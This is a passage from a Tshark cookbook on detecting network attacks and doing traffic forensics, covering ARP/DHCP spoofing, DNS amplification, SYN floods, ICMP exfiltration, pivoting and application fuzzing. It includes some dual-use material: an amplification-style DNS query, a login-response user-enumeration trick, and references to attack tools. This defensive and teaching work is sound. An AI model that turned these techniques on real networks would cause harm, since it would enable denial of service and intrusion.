        Data length: 1919116911
    
  2. This occurs because Tshark has registered in its dissector table that protocol on port 1865. We can verify this by looking at the code of the VICP dissector where the port is defined:

    bmerino@Mordor:~/wireshark-1.8.4/epan/dissectors$ grep 1861 packet-vicp.c
    #define VICP_PORT 1861
    
  3. We can even check for errors when processing that packet with the following command:

    bmerino@Mordor:/$ tshark -r ssh.pcap -R "frame.number==9" -z expert,error
    

    This would generate the following output:

      9   0.092346 192.168.1.130 -> 192.168.1.129 VICP 182 
    Errors (8)  
    =============
       Frequency           Group               Protocol  Summary
               8       Malformed               VICP  Malformed Packet 
    
  4. Since Tshark uses the wrong dissector to attempt to decode each of the fields of the application layer, certain errors are generated. To fix this and force Tshark to use the correct dissector, SSH in this case, we can use the -d option as follows:

    bmerino@Mordor:/$ tshark -r ssh.pcap -R "frame.number==9" -xV -d tcp.port==1861,ssh | grep SSH -A 6
    

    This would generate the following output:

    SSH Protocol
        SSH Version 2
            Packet Length: 636
            Padding Length: 6
            Key Exchange
                Msg code: Key Exchange Init (20)
                Payload: 9590c35921b9174f1f77e537541d8baa0000009a64696666...
    
  5. In addition to providing this flexibility with dissectors, Tshark also allows us to decrypt SSL traffic. To decrypt SSL, Tshark requires GnuTLS; thus, if you've compiled it on your own, be sure to count on it before running Tshark. Check it with:

    bmerino@Mordor:/$ tshark -v | grep GnuTLS
    

    This would generate the following output:

    Python, with GnuTLS 2.12.14, with Gcrypt 1.5.0, with MIT Kerberos, with GeoIP
    
  6. Later we will need the private key of our web server in PEM format:

    root@Mordor:/etc/apache2/sites-available# grep CertificateKeyFile default
    SSLCertificateKeyFile /etc/ssl/private/server.key
    
  7. If the key is protected with a passphrase, we have to generate a new file without it so that Tshark can use it. In the event that the key has a passphrase, the beginning of the file will look as follows:

    root@Mordor:/tmp# head -3 server.key
    -----BEGIN RSA PRIVATE KEY-----
    Proc-Type: 4,ENCRYPTED
    DEK-Info: DES-EDE3-CBC,8569B93914A0C185
    
  8. To generate a new key without a passphrase, we can use OpenSSL:

    root@Mordor:/tmp# openssl rsa -in server.key -out s.key
    root@Mordor:/tmp# head -2 s.key 
    

    This would generate the following output:

    -----BEGIN RSA PRIVATE KEY-----
    MIICXQIBAAKBgQDCpebxgLv4lndaaVwubDD8+qqE5tfJZ96ECiyXvRbTyQTWRi
    
  9. If our key is now like the preceding output, we are ready to decrypt SSL traffic. To do it run the following command:

    bmerino@Mordor:/tmp$ tshark -o "ssl.keys_list:192.168.1.129,443,http,s.key" -o "ssl.debug_file:rsa_private.log" -r ssl.pcap -R "ssl" -Vx > examine
    

    where 192.168.1.129 is the IP of our web server and 443 the port used by SSL.

  10. We can check the generated log to ensure that the key has been successfully loaded:

    bmerino@Mordor:/tmp$ grep loaded rsa_private.log 
    

    This would generate the following output:

    ssl_init private key file /tmp/s.key successfully loaded.
    
  11. Now, we can analyze in the file each of the SSL sessions in detail. In the previous capture we can see SQLi attempts against the web server using one of the application parameters via POST requests. We can also see that the attacker did not even bother to remove the User-Agent, which reveals the type of tool used.

How it works...

Sometimes, Tshark applies the wrong dissector to interpret certain protocols. This happens, for example, when an application protocol runs on a different port than the standard (for example, when we run HTTP over port 4444 instead of port 80). We can force Tshark to use the correct dissector with the –d parameter. This option has the following syntax: -d <layer type>==<selector>,<decode-as protocol>.If you want to get a list of valid dissectors, you can run tshark –d ..

A really nice summary of how Tshark uses the dissector wisely can be read in this thread at http://www.wireshark.org/lists/wireshark-dev/200808/msg00252.html.

On the other hand, to decode SSL traffic we used the –o option following the syntax -o ssl.keys_list:<ip>,<port>,<proto>,<keyfile> -o ssl.debug_file:<log-file>.

Thanks to this function, we could see and analyze the payload of SSL traffic directed to our web server in plain text. Some attacks can use SSL data to try to evade firewalls (DPI), IDS/IPS, and so on; therefore, it would not be strange to decrypt SSL packets to investigate certain security incidents. In the previous example, an attacker has used Havij through Stunnel to perform SQLi attacks against a web server. After getting a shell, he has eliminated all possible system logs that might give clues to the type of attack conducted. Luckily for us, we got a pcap file of that connection an hour before the incident, so we were able to analyze it.

If you want to check the current preferences for SSL, you can run Tshark with the -G option followed by defaultprefs:

bmerino@Mordor:/tmp$ tshark -G defaultprefs | egrep "^#ssl"

This would generate the following output:

#ssl.debug_file: 
#ssl.keys_list: 
#ssl.desegment_ssl_records: TRUE
#ssl.desegment_ssl_application_data: TRUE
#ssl.ignore_ssl_mac_failed: FALSE
#ssl.psk: 
#ssl.keylog_file

Maybe you are wondering how we can know which protocol is traveling in a non-standard port? If we don't know the protocol running, we could not select the right dissector for decoding that traffic. Well, the answer is simple: by investigating the data traffic. A good approach would be to consult the first packets exchanged, as it is in these packets where we could find banners, exchange keys, authentication attempts, or any other clue about the protocol. Here's an example. After seeing a high volume of traffic on port 23 (used by Telnet theoretically) we decided to check its contents. Not only the volume of traffic but the size of the packets made us suspect that possibly someone was using an other protocol over the telnet port. After checking the payload of one of the frames, we could confirm that it was not telnet. However, the payload did not give us any clues about the type of protocol being used so we decided to observe the first frames of the connection (after the "TCP handshake"). Quickly, we found out that a user was using VNC, thanks to the string RFB 004.001.

Finally, it's important to note that Tshark can also decrypt Kerberos tickets from keytab files. This is possible by using the -K option (-K krb5.keytab).

Auditing network attacks (Become an expert)


In this recipe you will learn how to identify well-known network attacks. Some of these attacks can have serious consequences in environments that do not implement appropriate countermeasures. We'll see how, with some skill with Tshark and by applying the correct filters, we can detect most of these attacks.

How to do it...

The examples that follow show how to detect some network attacks (internal and external) using just Tshark from the command line.

ARP spoofing

  1. If you suspect that someone is playing with ARP traffic, it would be advisable to run Tshark in SPAN or HUB mode (see the Capturing traffic (Must know) recipe). Subsequently, a good start would be to look at the rate of ARP reply packets:

    bmerino@Mordor:~$ tshark -i wlan1 -R "arp.opcode == 2" -T fields -e frame.time_delta -e eth.src -e eth.dst 
    

    This would generate the following output:

    Capturing on wlan1  
    0.000036000 00:13:e8:f6:26:ef 08:00:27:21:f9:85
    0.000490000 08:00:27:21:f9:85 00:13:e8:f6:26:ef
    0.564671000 08:00:27:21:f9:85 00:13:e8:f6:26:ef
    bmerino@Mordor:~$ arp -an | grep ef
    ? (192.168.1.131) en 08:00:27:21:f9:85 [ether] en wlan1
    
  2. In this case we see that the ARP reply rate is quite high. Note that the time is in delta format, which indicates the time since the previous packet was captured. Another alternative is to look for duplicate ARP packets, a fairly common symptom in ARP attacks:

    bmerino@Mordor:~$ tshark -i wlan1 -R arp.duplicate-address-detected -o column.format:"Info","%i"
    

    This would generate the following output:

    Capturing on wlan1
    Who has 192.168.1.42?  Tell 192.168.1.131 (duplicate use of 192.168.1.131 detected!)
    
  3. Apart from the preceding filters, take a look at the following example. Since most of the time attackers who do ARP spoof attacks try to fake the MAC of the gateway, we can look for ARP packets that have set the "Sender IP" with the gateway IP (ARP filed), but whose frames have a source MAC different from the gateway. We can use this trick not just for ARP but for other LAN attacks such as DHCP spoofing

DHCP spoofing

  1. In this case, the attacker will try to fake DHCPOFFER or DHCPACK answers to give the user spoofed data. If we know the IP of our DHCP server, we can create a filter that finds DHCPOFFER or DHCPACK answers that come from an IP different than the legitimate server. In the next example a malicious user executes the auxiliary/server/dhcp module (192.168.1.42) from Metasploit to provide false information to any host that uses DHCP. Within this information, each host will receive a fake DNS server (192.168.1.99) also under the attacker's control. In that machine the attacker will have running the auxiliary/server/fakedns module to redirect users to malicious domains.

  2. First, we start running a filter to display DHCPOFFER and DHCPACK responses from an IP different from our server. After getting two DHCPACK packets we confirm that a malicious user has installed a fake DHCP server. Then, we capture some packets in more detail to see the Domain Name Server sent by the server and get, this way, the IP of the fake DNS server.

  3. In a similar way, if we observe many DHCP discovery packets in a short time, it's very likely that someone is trying to do DHCP exhaustion attacks to exhaust the address space of the DHCP server. To check this, we can filter the packets with a source MAC address different from the Client Hardware Address (CHADDR) field inside the DHCP payload.

    bmerino@Mordor:/tmp# tshark -i eth0 -T fields -e frame.time_delta -e eth.src -e bootp.hw.mac_addr -R "bootp.option.dhcp == 1 && (eth.src != bootp.hw.mac_addr)"
    

    This would generate the following output:

    Capturing on eth0
    0.074655000 aa:00:04:00:0a:04 00:16:36:53:e8:c3
    0.632385000 aa:00:04:00:0a:04 00:16:36:53:e8:c3
    0.000138000 aa:00:04:00:0a:04 00:16:36:53:e8:c3
    

DoS attacks

  1. In recent years attacks known as DNS amplification have increased vertiginously. Such attacks are mainly characterized by two concepts: reflection and amplification. The idea is to send DNS requests to open resolvers using a spoofed IP (reflection). This DNS request is made up of a few bytes but the response generated and sent by the open resolver will be much bigger. Such attacks are in practice very similar to the old SMURF attacks. Let's see the following output:

    bmerino@Mordor:~$ dig ANY ************.es  @156.154.71.1 +edns=0 | grep SIZE
    ;; MSG SIZE  rcvd: 3331
    

    Let's see now this traffic from Tshark:

    bmerino@Mordor:~$  tshark -r dns.pcap -R "ip.addr==156.154.71.1" -T  fields -e frame.number -e ip.src -e ip.dst -e frame.len -e ip.flags.mf
    36 192.168.1.200     156.154.71.1    78 0
    38 156.154.71.1         192.168.1.200  418 1
    39 156.154.71.1         192.168.1.200 1514 1
    40 156.154.71.1         192.168.1.200 1509 0
    
  2. As noted, a single DNS request of 78 bytes to a 156.154.71.1 (open resolver) has produced a response of more than 3300 bytes. Because of its excessive size, this response has been fragmented into three packets and sent to the victim (notice the "More Fragment" bit in the last column). Also note the parameter +edns (extension mechanisms for DNS), thanks to which we will get a UDP response. Otherwise the response would be truncated to TCP due to its excessive size. Since it is not common to find fragmented DNS responses, we can run the following command to quickly identify such attacks:

    bmerino@Mordor:~$  tshark -i eth0 -R "dns &&  ip.fragment" -T  fields -e frame.number -e ip.src -e ip.dst 
    

    This would generate the following output:

    Capturing on eth0
    9 156.154.71.1 192.168.1.200
    
  3. You can also use the ip.flags.mf filter to show the fragments that make up that packet with the "More Fragment" bit activated:

    bmerino@Mordor:~$ tshark -i eth0 -R "ip.flags.mf == 1"
    

    This would generate the following output:

    Capturing on eth0
      1.340579 156.154.71.1 -> 192.168.1.200 IP Fragmented IP protocol (proto=UDP 0x11, off=0, ID=30e8)
      1.340812 156.154.71.1 -> 192.168.1.200 IP Fragmented IP protocol (proto=UDP 0x11, off=296, ID=30e8)
    
  4. Or directly by using a capture filter (you can type man pcap filter to see the packet filter syntax from the command line). Note, however, that a filter such as dns && ip.flags.mf == 1 will not work. The main reason is because Wireshark and Tshark reassemble all fragmented IP datagrams into a full IP packet before calling the dissector in the higher layer. Therefore, Tshark will not recognize those packets as DNS until they are received and reassembled. Take a look at the Wireshark documentation to understand this in more detail (http://www.wireshark.org/docs/wsdg_html_chunked/ChDissectReassemble.html).

    bmerino@Mordor:~$  tshark -i eth0 -f 'ip[6] = 32'
    

    This would generate the following output:

    Capturing on eth0
      0.000000 156.154.71.1 -> 192.168.1.200 IP Fragmented IP protocol (proto=UDP 0x11, off=0, ID=30ec)
    

How it works...

Suppose that, as on any other day, you open the browser to view your email. But this time, after typing www.gmail.com in the navigation bar, you run into an error as shown in the following screenshot:

What? My browser does not trust Google? If you come across this, you can be sure that someone is doing a man-in-the-middle attack, either playing around with ARP, DNS, or both (see Ettercap + dns_spoof plugin). To check this, we will take a look in our ARP cache to see if someone is trying to fake our gateway (a ZyXEL router). This way if the cached MAC of the IP 192.168.1.1 (our gateway) doesn't match the MAC of the router, we can confirm the attack.

According to the preceding output we can see how the cached MAC corresponds to a Sun xVM VirtualBox. The attacker did not even bother to change the first three bytes of the MAC to emulate a ZyXEL router. If we use arping to send an ARP request to our gateway we can see the real MAC address. Also, if we try to resolve mail.google.com we can confirm that the attacker is also faking DNS responses. As we see, the IP of the machine 192.168.1.131 corresponds to the MAC that is trying to fake the router, so we can be sure that that IP belongs to the attacker:

bmerino@Mordor:~$ ping mail.google.com –t 1
PING mail.google.com (192.168.1.131) 56(84) bytes of data.
bmerino@Mordor:~$ arp -an | grep 131
? (192.168.1.131) en 08:00:27:21:f9:85 [ether] en wlan1

Note that, in this case, we could detect this attack because it was directed to our machine. If the victim was another host, it is likely that we would not even notice this attack. An ARP spoof can be used to attack all hosts within the broadcast domain of the current VLAN or specific hosts. Use the filters described before in the ARP spoofing section in the Auditing network attacks recipe to detect such attacks. Likewise, to understand in greater detail DHCP attacks and their countermeasures, take a look at http://www.securityartwork.es/2013/01/30/defenses-against-dhcp-attacks/?lang=en.

If you experience problems with your network, such as hosts that disconnect, packet loss, duplicate IP, and so on, consider using Tshark to analyze such protocols. Tools such as Loki, dhcpstarv, Yersinia, macof, and a few more, can give you huge headaches in an environment that lacks countermeasures such as Dynamic ARP Inspector (DAI), IP Source Guard, DHCP Snooping, Port Security, and so on. A good approach is to start analyzing protocols of lower layers to upper layers. "Analyze" means to observe the frequency, size, or any other conditions that make us suspicious.

Tshark is equally useful when it comes to quickly identifying DDoS attacks. The following example shows a typical SYN flood against our HTTP server:

bmerino@Mordor:~$ tshark -i eth0 -T fields -e frame.time_delta -e ip.geoip.src_country -e ip.src  -R "tcp.flags.syn==1 && tcp.flags.ack==0 && tcp.dstport==80 && ip.dst==192.168.1.42"

This would generate the following output:

Capturing on eth0
0.036926000     Brazil       177.158.236.156
0.000397000     South Africa     41.21.184.75
0.000145000     China       110.121.38.23
0.000133000     Ireland      212.147.206.156

Although such attacks immediately jump out at you due to the high number of packets with the SYN bit set, the preceding example shows more clearly the operation of such a flood. Thousands of packets are sent from spoofed IPs with the SYN bit. This means that our server has to wait for each connection a given time (until the TCP three-way handshake is complete), during which more packets keep coming. A very large number of packets may end the resources of the server, so it stops responding to more connections. Notice that we have used the GeoIP databases from http://www.maxmind.com. To setup GeoIP with Tshark/Wireshark take a look at http://wiki.wireshark.org/HowToUseGeoIP.

bmerino@Mordor:~$ tshark -v | grep -i geo
Python, with GnuTLS 2.12.14, with Gcrypt 1.5.0, with MIT Kerberos, with GeoIP
bmerino@Mordor:~$ tshark -G defaultprefs | grep use_geo
#ip.use_geoip: TRUE

GeoIP can be very useful not only in such attacks but for any incident related to geolocation. For example, suppose you have configured a GRE tunnel (Generic Route Encapsulation) on your border router. According to the company's policy, only the branches located in Spain can use this VPN. To check for any illegitimate connections we can run Tshark as follows:

bmerino@Mordor:~$ tshark -r greTunnel.pcap -T fields -e ip.geoip.src_country -e ip.src -R "not ip.geoip.src_country contains Spain"
United States *.*.*,*

Note that SYN flood attacks generally require the cooperation of thousands of hosts to succeed. However, the techniques in denial of service attacks have evolved enough in the last years to just need a few hosts to knock down a web service. Take a look at tools such as SlowLoris, Hulk, or THC, which allow you to do a denial of service from the application layer. In these cases we probably need a deeper analysis (HTTP headers, SSL traffic, and so on) to understand the attack technically. Consider using some of the filters seen previously to identify other kind of attacks such as IP fragmentation attacks. This type of attack is used to circumvent countermeasures such as firewalls or IDS by sending many small fragments. Use the ip.fragment and ip.flags.mf filters to observe this kind of packets.

Also take a look at countermeasures such as TCP-Intercept, DNS Inspection, Frag Guard, Flood Guard, Unicast Reverse Path Forwarding, and so on, implemented in some Cisco devices. The deployment of these technologies will be really efficient to mitigate or greatly reduce most of the attacks seen so far.

In the example of DHCP attacks we used the -a option to indicate the number of seconds to capture. This is a really interesting option of Tshark since it allows us to specify an autostop condition, thanks to which we will not have to be present to manually stop a capture. We can specify up to three criteria as a stop condition of the form test:value where test is one of duration (seconds), filesize (kilobytes), or files. In a similar way, we can use the –b option if we want to run Tshark in "multiple files" mode. In this mode TShark will write to several capture files. When the first capture file fills up, TShark will switch writing to the next file and so on (take a look at the http://www.wireshark.org/docs/man-pages/tshark.html to get more information about this option). So, if we want to capture traffic and generate files of 1000 KB in length, we would execute something as follows:

bmerino@Mordor:~$ tshark -i eth0 -b filesize:1000 -w A.pcap
Capturing on eth0
2049
bmerino@Mordor:~$ ls A_*
A_00001_20130203154505.pcap  A_00002_20130203154529.pcap

Remember that you can later merge several files into one .pcap file using Mergecap (tool included in the default installation of Wireshark):

bmerino@Mordor:~$ mergecap A_00001_20130203154505.pcap 
A_00002_20130203154529.pcap -w output.pcap –a
bmerino@Mordor:~$ ls -lh output.pcap 
-rw-r--r-- 1 bmerino bmerino 2,0M feb  3 15:51 output.pcap

One advantage of the -b option is the ability to set up a ring buffer. This is a good way to prevent filling the entire hard disk with many pcap files. We do this with the files parameter. So, for example, if we want to rotate a log file every 1000 seconds and maintain a maximum number of 10 files, you would execute:

bmerino@Mordor:~$ tshark -i wlan1 -b duration:1000 -b files:10 -w test.pcap
Capturing on wlan1
3282 ^C
bmerino@Mordor:~$ ls -l test*
test_00001_20130203155318.pcap  test_00002_20130203155418.pcap

Finally, note that Tshark supports different data link types. You can use the –L option to show the types supported by your interface and the –y option to set the one you are interested in. If this option is not set, the default capture link will be used:

bmerino@Mordor:~$ tshark -L -i wlan1
Data link types of interface wlan1 when not in monitor mode   (use option -y to set):
  EN10MB (Ethernet)
  DOCSIS (DOCSIS)

There's more...

The following example shows another case of DDoS attack, this time a more unusual attack that affects the VRRP protocol. Thanks to Tshark we could find out the source of such an attack.

Our network has several Cisco routers configured with Virtual Router Redundancy Protocol (VRRP). This protocol, similar to HSRP, allows you to group a set of routers under a single Virtual IP/MAC so that the group is fully transparent to the client configuration. In this group, just one of the routers (the master virtual router) will be responsible for routing packets to their destination while the rest will monitor the status of the master. In case the master fails, it will be replaced by one backup router which has the highest priority. However, in the last hour the network users complain that they have had troubles connecting to the Internet; oddly, there are several redundant routers.

To investigate this incident, we began monitoring VRRP traffic.

bmerino@Mordor:~$ tshark -i eth0 -R vrrp 

This would generate the following output:

Capturing on eth0  
  0.000049  192.168.1.5 -> 224.0.0.18   VRRP 60 Announcement (v2)
  0.534392  192.168.1.5 -> 224.0.0.18   VRRP 60 Announcement (v2)
  0.534437  192.168.1.5 -> 224.0.0.18   VRRP 60 Announcement (v2)

We noticed that the frequency of these packets was higher than normal. This made us think that someone was trying to make a man-in-the-middle by faking a VRRP router using a higher priority than the master (its current priority was 150); so, we decided to filter out just the priority of those packets:

bmerino@Mordor:~$ tshark -i eth0 -R vrrp -T fields -e vrrp.prio

This would generate the following output:

Capturing on eth0
0

This was even weirder. Someone was forging VRRP packets with a priority of 0. But, why? After checking the VRRP v2 RFC we found the following:

The value of 0 (zero) is reserved for Master router to indicate it is releasing responsibility for the virtual router. The range 1-254 (decimal) is available for VRRP routers backing up the virtual router. The default value is 100 (decimal).

Now it makes sense, someone was doing a denial of service by sending forged packets usurping the VRRP master router but with a priority of 0. This forced the master to release its responsibility and generate new renegotiations with the backups. Let's see this more clearly. The following screenshot corresponds to part of the output generated by the command bmerino@Mordor:~$ tshark -i eth0 -R vrrp -S --------- -V:

To prevent such attacks with VRRP, consider using MD5 authentication and limit multicast traffic only to VRRP routers participating in the negotiation of the virtual router.

Analyzing network forensic data (Become an expert)


As we have seen so far, having some skill with Tshark and analyzing our network on a regular basis can help us greatly in identifying multiple security issues. Besides the network attacks previously seen, we can intelligently use Tshark to investigate security incidents whose origin is unknown. In this recipe we will discuss a couple of examples, data exfiltration by a malicious user and an internal network intrusion.

Getting ready

It's not new to use tunneling techniques to attempt to circumvent firewalls or other countermeasures that do not make use of deep packet inspection. Tools such as iodine, Hping3, Netcross, and so on, can be used to encapsulate certain type of traffic within the payload of another protocol and thus get its contents hidden. The use of these tools can be tedious for network administrators who try to control the information entering and leaving their network. Tshark can be an effective tool to detect this type of traffic if it's done wisely.

How to do it...

  1. So suppose we are performing a periodic analysis of our network. We decide to start looking at the protocols used to make connections with the outside. Note that with the condition ip.addr! = 192.168.1.0/24 we will ensure that Tshark displays packets involving communication between our LAN and any other network (in this case the outside because we do not have more subnets). This way, we are also filtering connections between hosts on our LAN.

    bmerino@Mordor:/$ tshark -r icmp.pcap -o column.format:'"Protocol","%p"' -R "ip.addr != 
    192.168.1.0/24
    " | sort -u
    DNS
    HTTP
    ICMP
    SSL
    TCP
    TLSv1
    
  2. According to our policies (only allowed HTTP/HTTPS, DNS, and ICMP), we can see that all protocols seem normal. Since ICMP can result from a variety of network issues we decided to run the following:

  3. We know now that a user of our network is communicating with an external host via ICMP. What is striking about this communication is the size of those packets. To see exactly what kind of ICMP packets they are sending, we run:

    bmerino@Mordor:/$ tshark -r icmp.pcap -T fields -e icmp.code -e icmp.type -R 'frame.number==41628'
    0 8
    
  4. The user is sending ICMP echo request (type = 8/code = 0) of a size well above a standard ping. To know for sure the reason for that size we do a dump of one packet to see its payload:

  5. With the dump, we verified that the user was leaking information to the outside via ICMP packets. In the example the user is sending the RSA private key of a certain user/service. We realized that all payloads started with "BOF" to indicate the beginning of the file content. Likewise the "EOF" string was being used to indicate the end. With this data we could find out that the user was using the ICMP Exfiltration module from Metasploit to get all kinds of files from the internal host.

  6. We could take advantage of the BOF string to list all files sent by that user (the external IP has been omitted).

    bmerino@Mordor:/$ tshark -r icmp.pcap -R "icmp contains BOF && ip.src==192.168.1.42"
    

    This would generate the following output:

    41591 764.064922000 192.168.1.42 -> *.*.*.*ICMP 938 Echo (ping) request  id=0x1b3d, seq=1/256, ttl=64
    41593 765.065198000 192.168.1.42 -> *.*.*.*ICMP 938 Echo (ping) request  id=0x1b3d, seq=3/768, ttl=64
    
  7. Although most files were plaintext, one of them looked as follows:

    bmerino@Mordor:/$ tshark -r icmp.pcap -R "frame.number==268" -V | grep ^0 | cut -d" " -f21 | tr -d '\nBOF'
    TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgTM0hVGhpcywcm9ncmtIGNhbm5vdCiZSydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAQRQAATAEEALmrjQAAAAAAAAAAAADwELAQUAAJgAAAiAAAAAAAAAEwAAAAQAAAAs
    
  8. This seems to indicate that he was sending a file encoded in base 64, possibly to deal with nonprintable characters. Leveraging the output and using a little bash we get the following:

    bmerino@Mordor:/$ tshark -r icmp.pcap -R "frame.number==268" -V | grep ^0 | cut -d" " -f21 | tr -d '\n' | sed 's/^...//' | base64 -d
    MZ @  !  L!This program cannot be run in DOS mode.
    $PEL  4
       
              bL @ 0 <! d .textp  `.rdata  
    
  9. Effectively the output indicated part of the PE header of an executable file. Now we can dump it to a file and analyze it with our favorite debugger.

There's more...

Let's see another case. The internal server (192.168.1.130/24) of a certain organization has been compromised several times. The fact that the server is not accessible from the outside led us to think that an internal user had also been compromised, and the attacker was doing "pivoting" from that machine to the server. Another option was that an infected USB had been the root of the problem. However, after checking that the firewall did not filter the traffic DMZ ---> Internal Network, we could confirm that this was the origin of the intrusion. The web server (192.168.20.1/24) in the DMZ was compromised, and from here the attacker could access the internal LAN using the Administrator account. To do this the attacker used Mimikatz to get the credentials of that machine and then ran Psexec against the internal server with the Administrator account.

We realized this when we checked the traffic from DMZ to the Internal LAN as follows (note the use of the flag SYN = 1 and ACK = 0 to show only connections initiated from the DMZ):

bmerino@Mordor:~$ tshark -r pivo.pcap -T fields -e ip.src -R "ip.src == 192.168.20.0/24 && ip.dst==192.168.1.130 && tcp.flags.syn==1 && tcp.flags.ack==0" | sort -u
192.168.20.1

According to this information the machine 192.168.20.1 (the web server) started some kind of connection with the internal server.

The following output shows an excerpt of the type of traffic generated between both machines:

bmerino@Mordor:~$ tshark -r pivo.pcap -o column.format:'"Info","%i","Protocol","%p"' -R "ip.src == 192.168.20.1 && ip.dst==192.168.1.130" | head -4

This would generate the following output:

Tree Connect AndX Request, Path: \\192.168.1.130\IPC$ SMB
Redirect             (Redirect for host) ICMP
[TCP Retransmission] Tree Connect AndX Request, Path: \\192.168.1.130\IPC$ SMB
Trans2 Request, QUERY_PATH_INFO, Query File Basic Info, Path: \PSEXESVC.EXE SMB

As shown in the output, the web server initiated a NETBIOS connection with the internal server (something totally suspicious). From there, he ran Psexec to authenticate to the server machine. You can also see the plaintext password and the user used to login the server (surely he uses Psexec with -u option, which sends the password in clear text):

bmerino@Mordor:~$ tshark -r pivo.pcap -x "ip.src == 192.168.20.1 && ip.dst==192.168.1.130" | grep "A.D.M.l" -m 1 -A 1 | awk -F "  " '{print $3}'

This would generate the following output:

 A.D.M.l.o.c.1.0.
 1...............

Note that there will be more complex cases that will require much deeper research. Take a look, for example, at this article at http://www.securityartwork.es/2012/11/27/covert-channels-2/?lang=en, which explains some covert-channel techniques with a few TCP and IP fields. In such cases, the joint use of debuggers, traffic analysis tools, and event correlation will be our best ally.

Auditing network applications (Must know)


Tshark can help us greatly to audit applications that make use of sockets. Furthermore, we can use it as a support tool to understand and investigate protocols that lack technical documentation. In this recipe we will see a couple of examples that represent these scenarios.

How to do it...

  1. Suppose that we are auditing a small application that uses sockets to communicate with clients. The application itself only receives a series of commands and replies to them with some information. Let's see how it works:

    bmerino@Mordor:~$ nc 192.168.1.35 8012
    Service BANE-1.0
    IP   
    --> 192.168.1.35
    PORTS
    --> 8012,8080,80,21
    AAAA
    --->Command not found. Type H for help
    H
    --->H,IP,PORTS,TCP,UDP,LISTENING,CONNECTIONS
    
  2. So, when sending a series of requests from netcat (client), we received information about the network configuration of the server. When we sent the AAAA instruction, the server did not recognize it and sent Command not found. Type H for help to us. To test the stability of the application, we will create the following script in python to fuzz the application and detect this way any server error (buffer overflow, integer overflow, and so on).

    What we do with this script is to send lots of packets to the server using a malformed payload to verify that the server validates inputs correctly. To do this we will use the fuzzing capabilities of Scapy.

    Before launching the script we will leave Tshark running to save all traffic generated by the client and server. Then we run the following command:

    bmerino@Mordor:~$ ./fuzzer.py 192.168.1.35 8012
    Sending Data
    <rest of output omitted>
    

    After a few seconds, the script exits with the following message:

    Traceback (most recent call last):
      File "./fuzzer.py", line 13, in <module>
        streamFuzzer.send(packetFuzzer)
      File "/usr/lib/python2.7/dist-packages/scapy/supersocket.py", line 34, in send
        return self.outs.send(sx)
    socket.error: [Errno 104] Connection reset by peer
    
  3. So, it appears that the server crashed when trying to process a certain type of payload. To identify the exact packet that generated this crash we will use the pcap file we created to store the communication. Since each of the packets sent to the server contains random values, we will look for the last Command not found server reply:

    bmerino@Mordor:~$ tshark -r fuzz.pcap  -R 'tcp contains "Command not"' | tail  -1
    

    This would generate the following output:

    386 121.861764000 192.168.1.35 -> 192.168.1.42 TCP 101 8012 > 52567 [PSH, ACK] Seq=491 Ack=296 Win=16896 Len=35 TSval=578987 TSecr=1369935
    
  4. According to the previous output, the frame 386 was the last response from the server to some unknown command. It is likely, therefore, that a subsequent packet generated the crash. Let's see the last packet sent by the server:

    bmerino@Mordor:~$ tshark -r fuzz.pcap -T fields -e frame.number -e tcp.flags -R "ip.src == 192.168.1.35" | tail -1
    418 0x0010
    
  5. As we see, it makes sense. It seems that, after sending frame 386, the server received another packet which was confirmed with an ACK (0x0010). However, the payload of that packet resulted in a server crash, closing this way the socket. To identify which was the packet that caused the crash, we will use the tcp.analysis.acks_frame filter of frame 418. This value will tell us which frame this ACK was sent to:

    bmerino@Mordor:~$ tshark -r fuzz.pcap -T fields -e tcp.analysis.acks_frame  -R "frame.number==418"
    

    This gave the following output for me:

    416
    
  6. Now that we know the packet that caused the crash, we can dump it into a file and replicate the crash with the help of a debugger to research the vulnerability in more depth.

    bmerino@Mordor:~$ tshark -r fuzz.pcap -x -R "frame.number==417" | grep ^0 | awk -F "  " '{print $2}' | tr -d " \n" 
    

    This would generate the following output:

    78929c89b9de0013e8f626ef0800450000440c0940004006ab0dc0a8012ac0a80123cd571f4c13a678046e5c996b80180391c7d200000101080a0014e74
    0008ccab666ac3b16c6b666a61666b61c3b1660a
    

There's more...

Here's another quick example. Occasionally, we may find that Tshark cannot interpret certain protocols. For instance, if we analyze a proprietary protocol and Tshark does not have its dissector we would only see the raw payload. However, this may sometimes provide us with clues about the behavior of the application. The output that follows shows an extract of traffic generated between a client (192.168.254.221) and a server (192.168.254.220) using an unknown protocol. The payload sent by the client represents a login attempt against the server. The server response is made up of a set of bytes whose meaning is unknown to us. Take a look at the following screenshot:

However, after trying many login attempts with different users and passwords and observing the server responses, we could infer when the user exists in the database. Although all logins were unsuccessful, when we used the admin user one of the bytes of the response was totally different from the rest of replies. Thanks to this, we could make a little script to get valid users from the server based on that set of bytes.

bmerino@Mordor:/tmp$ tshark -r appA.pcap -T fields -e frame.number -e data.data "tcp.srcport==8882 && data.data"
6  00:00:aa:aa:0a:00:00:aa:aa:a1:aa:aa:aa:aa:aa:aa:aa
9  00:00:aa:aa:0a:00:00:aa:aa:a1:aa:aa:aa:aa:aa:aa:aa
12 00:00:aa:aa:0a:00:00:bb:aa:a1:aa:aa:aa:aa:aa:aa:aa
15 00:00:aa:aa:0a:00:00:aa:aa:a1:aa:aa:aa:aa:aa:aa:aa
18 00:00:aa:aa:0a:00:00:aa:aa:a1:aa:aa:aa:aa:aa:aa:aa
bmerino@Mordor:/tmp$ tshark -r appA.pcap -R frame.number==11 -x | grep '<.*>' -m 1
0060  30 30 30 30 7e 7e 3c 61 64 6d 69 6e 3e 7c 7c 7c   0000~~<admin>|||

Analyzing malware traffic (Must know)


In this recipe we will see how Tshark can be an excellent support tool for malware traffic analysis. Likewise we will see some useful filters that help us identify possible infected computers on our network.

Getting ready

Performing simple checks on our network periodically can help us to detect malware. For example, if your network hosts use an internal DNS to resolve names, something as simple as checking that all requests are coming from that server can help us identify infected hosts. The reason is that malware might bypass the host DNS settings. For example, using the DNS_QUERY_NO_HOSTS_FILE flag in the DnsQuery API, the malware will not query the hosts file. Even better, the malware can open a UDP socket and construct UDP packets to send them directly to a particular resolver. The response is then parsed by the malware itself and this way it would not even need to change the DNS setting of that host. Festi Botnet, for example, uses this technique to choose 8.8.8.8 (Google) as a resolver.

How to do it...

